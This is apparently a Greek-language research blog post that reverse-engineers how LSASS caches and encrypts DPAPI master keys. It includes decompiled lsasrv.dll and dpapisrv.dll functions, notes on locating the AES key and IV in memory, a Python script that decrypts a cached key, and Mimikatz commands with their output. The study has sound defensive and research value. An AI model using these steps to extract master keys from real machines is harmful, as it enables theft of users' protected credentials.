Πριν αρχίσετε να διαβάζετε αυτή τη δημοσίευση θα ήθελα να επισημάνω ότι δεν είναι μια πρακτική τεχνική, διότι κανένας λογικός άνθρωπος δεν θα έψαχνε χειροκίνητα για DPAPI blobs και κλειδιά αποκρυπτογράφησης κατά τη διάρκεια μιας αξιολόγησης. Το άρθρο έχει σκοπό να δείξει πώς το LSASS χειρίζεται τα κλειδιά DPAPI.
Όταν πρόκειται για κύρια κλειδιά DPAPI, συχνά σκεφτόμαστε το φάκελο %APPDATA%\Microsoft\Protect\{SID} για τα κλειδιά χρήστη ή το φάκελο %WINDIR%\System32\Microsoft\Protect\S-1-5-18 για τα κλειδιά συστήματος.
αλλά τα κλειδιά αποθηκεύονται επίσης ως κρυπτογραφημένα blobs στη διαδικασία lsass.
Αυτά τα κλειδιά μπορούν να ανοιχτούν σε έναν επεξεργαστή δεκαεξαδικών όπως το HxD και μπορούμε να δούμε ότι το GUID του κλειδιού είναι τοποθετημένο στην κορυφή.
Για να εξετάσουμε τις υπόλοιπες παραμέτρους θα μπορούσαμε να βρούμε πώς είναι οργανωμένα τα δεδομένα και να εξάγουμε τις υπόλοιπες πληροφορίες. Κατά τη διάρκεια της έρευνάς μου, βρήκα αυτή τη δημοσίευση που παραθέτει βολικά όλα τα χαρακτηριστικά που περιέχονται μέσα σε ένα κύριο κλειδί DPAPI
dwLocalEncKeySiz
: τρέχον μήκος υποδοχήςdwVersion
: έκδοση δομής δεδομένωνpSalt
: saltdwPBKDF2IterationCount
: επαναλήψεις στη συνάρτηση δημιουργίας κλειδιού κρυπτογράφησης PBKDF2HMACAlgId
: αναγνωριστικό αλγορίθμου κατακερματισμούCryptAlgId
: χρησιμοποιούμενος αλγόριθμος κρυπτογράφησηςpKey
: κρυπτογραφημένο τοπικό κλειδί κρυπτογράφησης, που χρησιμοποιείται για την αποκρυπτογράφηση του τοπικού κλειδιού δημιουργίας αντιγράφων ασφαλείας στα Windows 2000
Μπορούμε επίσης να χρησιμοποιήσουμε το συγκεκριμένο εργαλείο, για να δούμε αυτά τα χαρακτηριστικά
Αφού έλεγξα τη δοκιμαστική έκδοση του εργαλείου, άνοιξα το x64dbg και προσάρτησα έναν αποσφαλματωτή στη διαδικασία lsass.exe για να δω ποια DLL φορτώνονται σε αυτήν και τα σύμβολά τους και βρήκα αυτό που φαινόταν να είναι η βιβλιοθήκη που είναι υπεύθυνη για το χειρισμό των αποθηκευμένων κύριων κλειδιών: dpapisrv.dll και η συνάρτηση MasterKeyCacheList.
Προσοχή! Η προσάρτηση ενός προγράμματος εντοπισμού σφαλμάτων στη διαδικασία LSASS μπορεί να προκαλέσει επανεκκίνηση του συστήματος
Έτσι μπορούμε να ανοίξουμε το DLL στο IDA64 και να ρίξουμε μια πιο προσεκτική ματιά: Ενώ δεν βρήκα τη συνάρτηση MasterKeyCacheList στις λειτουργίες του DLL, βρήκα αναφορές σε αυτήν σε άλλες συναρτήσεις όπως το FindMasterKeyEntry
Το g_MasterKeyCacheList αναφέρεται μόνο στις ακόλουθες λειτουργίες
FindMasterKeyEntry
InsertMasterKeyCache
DPAPIInitialize
DeleteKeyCache
και δεδομένου ότι επικεντρώνομαι στην εξαγωγή ήδη υπαρχόντων κλειδιών, επικεντρώθηκα στη συνάρτηση FindMasterKeyEntry και προσπάθησα να αντιστρέψω τη λειτουργικότητά της για να δω αν κάνει κάτι ενδιαφέρον: Νομίζω επίσης ότι το IDA μπορεί να έχει μπερδέψει κάποια από τη λογική, αλλά αυτό είναι αρκετό για να πάρετε μια γενική ιδέα για το τι κάνει η συνάρτηση.
HLOCAL *__fastcall FindMasterKeyEntry(
struct _LIST_ENTRY *cacheList,
const unsigned __int16 *keyIndentifier,
struct _LUID *userIdentifier,
struct _GUID *masterKeyGuid)
{
HLOCAL *currentEntry;
HLOCAL *foundEntry;
__int64 guidDifference;
const unsigned __int16 *currentKeyId;
int currentKeyIdChar;
int comparisonResult;
// initialize the head of the master key cache list
currentEntry = (HLOCAL *)g_MasterKeyCacheList;
// set found entry pointer to nullptr
foundEntry = 0i64;
// loop through the cache list
while ( currentEntry != &g_MasterKeyCacheList )
{
// check if a GUID is provided
if ( masterKeyGuid )
{
// compare the GUIDs
guidDifference = *(_QWORD *)&masterKeyGuid->Data1 – (_QWORD)currentEntry[3];
if ( *(HLOCAL *)&masterKeyGuid->Data1 == currentEntry[3] )
guidDifference = *(_QWORD *)masterKeyGuid->Data4 – (_QWORD)currentEntry[4];
// if the difference between the GUIDs is not 0 (the GUIDs are not the same)
// continue to the next entry
if ( guidDifference )
goto NEXT_CACHE_ENTRY;
}
// check if user and key identifiers are provided
if ( !userIdentifier )
{
if ( !keyIndentifier )
goto FOUND_CACHE_ENTRY;
// compare key identifiers
COMPARE_KEY_IDENTIFIERS:
currentKeyId = keyIndentifier;
do
{
currentKeyIdChar = *(const unsigned __int16 *)((char *)currentKeyId
+ (_BYTE *)currentEntry[15]
– (_BYTE *)keyIndentifier);
comparisonResult = *currentKeyId – currentKeyIdChar;
if ( comparisonResult )
break;
++currentKeyId;
}
while ( currentKeyIdChar );
if ( !comparisonResult )
{
FOUND_CACHE_ENTRY:
// update the last access time attribute
// and return the found entry
// (this is only called if a matching entry is found)
foundEntry = currentEntry;
GetSystemTimeAsFileTime((LPFILETIME)currentEntry + 5);
return foundEntry;
}
goto NEXT_CACHE_ENTRY;
}
// check if the user identifier matches the current entry
if ( *((_DWORD *)currentEntry + 5) == userIdentifier->HighPart
&& *((_DWORD *)currentEntry + 4) == userIdentifier->LowPart )
{
goto FOUND_CACHE_ENTRY;
}
if ( keyIndentifier )
goto COMPARE_KEY_IDENTIFIERS;
NEXT_CACHE_ENTRY:
// move to the next entry
currentEntry = (HLOCAL *)*currentEntry;
}
return foundEntry;
}
Συνοπτικά, η συνάρτηση αναζητά σε μια λίστα καταχωρίσεων στην προσωρινή μνήμη ένα συγκεκριμένο κλειδί API προστασίας δεδομένων (DPAPI). Μπορεί να χρησιμοποιήσει διαφορετικά κριτήρια για την εύρεση του κλειδιού:
- Master Key GUID: αναζητά μια καταχώρηση με αντίστοιχο GUID (μοναδικό αναγνωριστικό)
- User Identifier: αναζητά μια καταχώρηση που σχετίζεται με έναν συγκεκριμένο λογαριασμό χρήστη
- Key Identifier: αναζητά μια καταχώρηση με μια συμβολοσειρά αναγνωριστικού κλειδιού που ταιριάζει
Με βάση το reversed code, ένα ή περισσότερα από αυτά τα τρία χαρακτηριστικά ενδέχεται να μην υπάρχουν.
Αν τώρα επιστρέψουμε στην αποσφαλμάτωση της διαδικασίας LSASS, μπορούμε να πάμε στη διεύθυνση της συνάρτησης FindMasterKeyEntry και να δούμε τις τιμές στη μνήμη της g_MasterKeyCacheList.Όπως μπορούμε να δούμε από την παραπάνω εικόνα, η λίστα cache ξεκινά με τα System Keys, καθώς τα πρώτα 16 bytes είναι το όνομα του πρώτου System Key σε Little Endian μορφή.
Με μια γρήγορη αναζήτηση στο Mimikatz Github repo, μπορούμε να βρούμε αυτό το αρχείο επικεφαλίδας το οποίο περιέχει την πλήρη δομή της εγγραφής cache
typedef struct _KIWI_MASTERKEY_CACHE_ENTRY {
struct _KIWI_MATERKEY_CACHE_ENTRY *Flink;
struct _KIWI_MATERKEY_CACHE_ENTRY *Blink;
LUID LogonId;
GUID KeyUid;
FILETIME insertTime;
ULONG keySize;
BYTE key[ANYSIZE_ARRAY];
} KIWI_MASTERKEY_CACHE_ENTRY, *PKIWI_MASTERKEY_CACHE_ENTRY;
και είμαστε σε θέση να βρούμε τα 4 bytes που αντιπροσωπεύουν το μήκος του κλειδιού- η τιμή είναι 40 00 00 00 00, οπότε η κρυπτογραφημένη τιμή του κλειδιού θα έχει μήκος 40 bytes και αντιπροσωπεύεται από το τμήμα που επισημαίνεται με ανοιχτό γκρι χρώμα.
Τώρα ήρθε η ώρα να μάθουμε πώς κρυπτογραφείται το κλειδί και να το αποκρυπτογραφήσουμε: από τα Windows Vista, οι καταχωρήσεις για την κρυφή μνήμη Master Key κρυπτογραφούνται με AES-256 σε λειτουργία CFB, οπότε θα πρέπει να μπορούμε να ανακτήσουμε το IV και το κλειδί από κάπου στη μνήμη.
Για να βρω αυτές τις πληροφορίες επανέλαβα τα ίδια βήματα με πριν: φόρτωσα το LSASS σε έναν αποσφαλματωτή, κοίταξα τα σύμβολα και προσπάθησα να βρω συναρτήσεις που σχετίζονται με την κρυπτογράφηση του κλειδιού.
Με αυτόν τον τρόπο βρήκα τη βιβλιοθήκη lsasrv.dll η οποία περιείχε σύμβολα όπως InitializationVector, aesKey και LspAES256DecryptData οπότε την άνοιξα στο IDA.
Όταν πρόκειται για το κλειδί AES που χρησιμοποιείται για την κρυπτογράφηση και την αποκρυπτογράφηση μπορούμε απλά να κοιτάξουμε το σύμβολο hAesKey@@3PEAXEA και να δούμε πού αναφέρεται η τιμή για να βρούμε την αρχική τιμή hAESKey στη συνάρτηση LsaInitializeProtectedMemory
Μπορούμε επίσης να αντιστρέψουμε την εν λόγω συνάρτηση για να καταλάβουμε καλύτερα τι κάνει και πώς αρχικοποιείται η μνήμη
__int64 LsaInitializeProtectedMemory()
{
NTSTATUS status;
UCHAR *allocatedMemory3DES;
UCHAR *allocatedMemoryAES;
UCHAR *v3;
DWORD lastError;
ULONG resultSize;
UCHAR outputLength3DES[4];
UCHAR outputLengthAES[4];
UCHAR randomBuffer[16];
__int64 temp;
// initialize all the needed buffers
*(_DWORD *)outputLength3DES = 0;
*(_DWORD *)outputLengthAES = 0;
resultSize = 0;
temp = 0i64;
// open the 3DES crypto provider
*(_OWORD *)randomBuffer = 0i64;
status = BCryptOpenAlgorithmProvider(&h3DesProvider, L”3DES”, 0i64, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// open the AES crypto provider
status = BCryptOpenAlgorithmProvider(&hAesProvider, L”AES”, 0i64, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// set chaining mode to CBC for 3DES
status = BCryptSetProperty(h3DesProvider, L”ChainingMode”, (PUCHAR)L”ChainingModeCBC”, 0x20u, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// set chaining mode to CFB for AES
status = BCryptSetProperty(hAesProvider, L”ChainingMode”, (PUCHAR)L”ChainingModeCFB”, 0x20u, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
resultSize = 4;
// get the object length for 3DES
status = BCryptGetProperty(h3DesProvider, L”ObjectLength”, outputLength3DES, 4u, &resultSize, 0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
if ( resultSize == 4 )
{
resultSize = 4;
// get the object length for AES
status = BCryptGetProperty(hAesProvider, L”ObjectLength”, outputLengthAES, 4u, &resultSize, 0);
if ( status < 0 )
{
CLEANUP_FUNCTION:
LsaCleanupProtectedMemory();
return (unsigned int)status;
}
if ( resultSize == 4 )
{
// calculate the total memory size required
// for both 3DES and AES
LODWORD(CredLockedMemorySize) = *(_DWORD *)outputLength3DES + *(_DWORD *)outputLengthAES;
allocatedMemory3DES = (UCHAR *)VirtualAlloc(
0i64,
(unsigned int)(*(_DWORD *)outputLength3DES + *(_DWORD *)outputLengthAES),
0x1000u,
4u);
// allocate said memory
CredLockedMemory = allocatedMemory3DES;
if ( allocatedMemory3DES && VirtualLock(allocatedMemory3DES, (unsigned int)CredLockedMemorySize) )
{
allocatedMemoryAES = CredLockedMemory;
v3 = &CredLockedMemory[*(unsigned int *)outputLength3DES];
// generate random bytes for AES key
status = BCryptGenRandom(0i64, randomBuffer, 0x18u, 2u);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// generate AES key
status = BCryptGenerateSymmetricKey(
h3DesProvider,
&h3DesKey,
allocatedMemoryAES,
*(ULONG *)outputLength3DES,
randomBuffer,
0x18u,
0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
status = BCryptGenRandom(0i64, randomBuffer, 0x10u, 2u);
if ( status < 0 )
goto CLEANUP_FUNCTION;
// generate a random IV
status = BCryptGenerateSymmetricKey(
hAesProvider,
&hAesKey,
v3,
*(ULONG *)outputLengthAES,
randomBuffer,
0x10u,
0);
if ( status < 0 )
goto CLEANUP_FUNCTION;
status = BCryptGenRandom(0i64, &InitializationVector, 0x10u, 2u);
if ( status < 0 )
goto CLEANUP_FUNCTION;
status = 0;
}
else
{
lastError = GetLastError();
status = I_RpcMapWin32Status(lastError);
}
}
}
if ( status < 0 )
goto CLEANUP_FUNCTION;
return (unsigned int)status;
}
Τώρα γνωρίζουμε πού είναι αποθηκευμένο το κλειδί AES και πώς να το ανακτήσουμε, αλλά θα πρέπει να βρούμε πού είναι αποθηκευμένο το IV.
Προσπάθησα να κοιτάξω ξανά τον πηγαίο κώδικα του Mimikatz για να δω αν θα μπορούσα να δω γρήγορα από πού εξάγεται ο IV, αλλά χωρίς αποτέλεσμα (μάλλον μου ξέφυγε).
Ανοίγοντας το αρχείο παρατήρησα ότι δεν υπάρχει επίσημο αρχείο PDB γι’ αυτό
“C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe” /v C:\Windows\System32\lsasrv.dll
…
SYMCHK: lsasrv.dll FAILED – lsasrv.pdb mismatched or not found
…
οπότε έπρεπε να το διαβάσω από εδώ: μόλις κατέβασα τα ακατέργαστα περιεχόμενα HTML (απλώς παραλείψτε την κεφαλίδα), το αποθήκευσα στην επιφάνεια εργασίας ως lsasrv.pdb και το IDA βρήκε τα σύμβολα μόλις το άνοιξα.
Στη συνέχεια έψαξα για μερικά από τα σύμβολα που ανέφερα ξεκινώντας από το InitializationVector καθώς φαινόταν ένα αρκετά καλό μέρος για να ξεκινήσω να ψάχνω- αυτό το σύμβολο αναφέρεται μόνο από τις συναρτήσεις LsaEncryptMemory και LsaInitializeProtectedMemory: αυτός είναι ο reversed code από την LsaEncryptMemory
void __fastcall LsaEncryptMemory(PUCHAR pbOutput, ULONG cbInput, int operation)
{
// handle to the key used for encryption and decryption
BCRYPT_KEY_HANDLE keyHandle;
// size of the IV
ULONG ivSize;
// size of the encryption result
ULONG resultSize;
// buffer for the IV (16 bytes)
UCHAR ivBuffer[16];
if ( pbOutput )
{
// set the value of the key handle to the
// default 3DES key handle (???)
keyHandle = h3DesKey;
resultSize = 0;
// default IV size for 3DES
ivSize = 8;
if ( cbInput )
{
// copy the initialization vector
// to the dedicated buffer
*(_OWORD *)ivBuffer = *(_OWORD *)&InitializationVector;
// check if the input size if a multiple of 8
// if it is, use AES instead of 3DES
if ( (cbInput & 7) != 0 )
{
// set the value of the key handle
// to the AES key
keyHandle = hAesKey;
// default IV size for AES
ivSize = 16;
}
if ( operation )
{
// if operation == 1 : perform encryption
// else : perform decryption
if ( operation == 1 )
BCryptEncrypt(keyHandle, pbOutput, cbInput, 0i64, ivBuffer, ivSize, pbOutput, cbInput, &resultSize, 0);
}
else
{
BCryptDecrypt(keyHandle, pbOutput, cbInput, 0i64, ivBuffer, ivSize, pbOutput, cbInput, &resultSize, 0);
}
}
}
}
Αυτό είναι ένα πραγματικά πολύτιμο απόσπασμα κώδικα: όχι μόνο δείχνει πώς το LSASS αποφασίζει αν θα χρησιμοποιήσει 3DES ή AES, αλλά μας δίνει επίσης μια άμεση αναφορά στο InitializationVector που μπορούμε τώρα να διαβάσουμε από τη μνήμη χρησιμοποιώντας έναν αποσφαλματωτή (ανοιχτό γκρι κείμενο με έμφαση)
Η ίδια διαδικασία μπορεί να επαναληφθεί για το κλειδί 3DES το οποίο αναφέρεται στο LsaEncryptMemory.
Τώρα έχουμε όλα όσα χρειαζόμαστε για να αποκρυπτογραφήσουμε τα κύρια κλειδιά DPAPI!
Είναι δυνατόν να γράψουμε μια εφαρμογή κονσόλας που παίρνει μια λαβή στη διαδικασία LSASS, απαριθμεί τις διευθύνσεις βάσης των βιβλιοθηκών lsasrv.dll και dpapisrv.dll και εξάγει τις απαραίτητες τιμές από τη μνήμη για την αποκρυπτογράφηση του κλειδιού, αλλά στην προκειμένη περίπτωση προτίμησα κάτι πιο απλό και έγραψα το ακόλουθο σενάριο: η λειτουργικότητά του είναι αρκετά βασική, καθώς απλώς χρησιμοποιεί το Python Crypto module για να αποκρυπτογραφήσει με AES-CFB το κρυπτογραφημένο κλειδί με βάση τις τιμές IV και κλειδιού AES που παρέχονται από τον χρήστη.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
def decryptMasterKey(encrypted_master_key, aes_key, iv):
cipher = AES.new(aes_key, AES.MODE_CFB, iv=iv)
decrypted_master_key = cipher.decrypt(encrypted_master_key)
return decrypted_master_key
if __name__ == “__main__”:
# replace these with the actual encrypted master key,
# AES key, and IV found in memory
encrypted_master_key_hex = “<MASTER_KEY_HEX>”
aes_key_hex = “<AES_KEY_HEX>”
iv_hex = “<IV_HEX>”
encrypted_master_key = binascii.unhexlify(encrypted_master_key_hex)
aes_key = binascii.unhexlify(aes_key_hex)
iv = binascii.unhexlify(iv_hex)
decrypted_master_key = decryptMasterKey(encrypted_master_key, aes_key, iv)
print(“[~] Master Key:”, binascii.hexlify(decrypted_master_key).decode())
Για να δοκιμάσω αυτό το σενάριο, αποκρυπτογράφησα την πρώτη καταχώρηση στη λίστα cache του κύριου κλειδιού με το GUID 5b31d113-c5ac-441e-bc2d-391de8323a5f (το ίδιο που τεκμηρίωσα παραπάνω): αυτή είναι η έξοδος του σεναρίου Python
python3 dpapiMaster.py
[~] Master Key: 1b12c4ef9cc58e5b79371243aacbeb47187267c45853a35936f8a85e4828ffac074ae0d62c39ced468d0f41c66077674a48b6cdebcf9a7a01f4b2d05e3494fab
και αυτό είναι το αποτέλεσμα του Mimikatz
mimikatz # privilege::debug
Privilege ’20’ OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
616 {0;000003e7} 1 D 23011 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;0001cb4c} 1 F 12026358 COMMANDO\otter S-1-5-21-4130188456-627131244-1205667481-1000 (15g,25p) Primary
* Thread Token : {0;000003e7} 1 D 12178278 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # sekurlsa::dpapi
…
[00000001] * GUID : {5b31d113-c5ac-441e-bc2d-391de8323a5f}* Time : 6/21/2024 12:48:29 PM
* MasterKey : 1b12c4ef9cc58e5b79371243aacbeb47187267c45853a35936f8a85e4828ffac074ae0d62c39ced468d0f41c66077674a48b6cdebcf9a7a01f4b2d05e3494fab
* sha1(key) : 4f9b43dcdaede3547fcc55815eb10f1755033456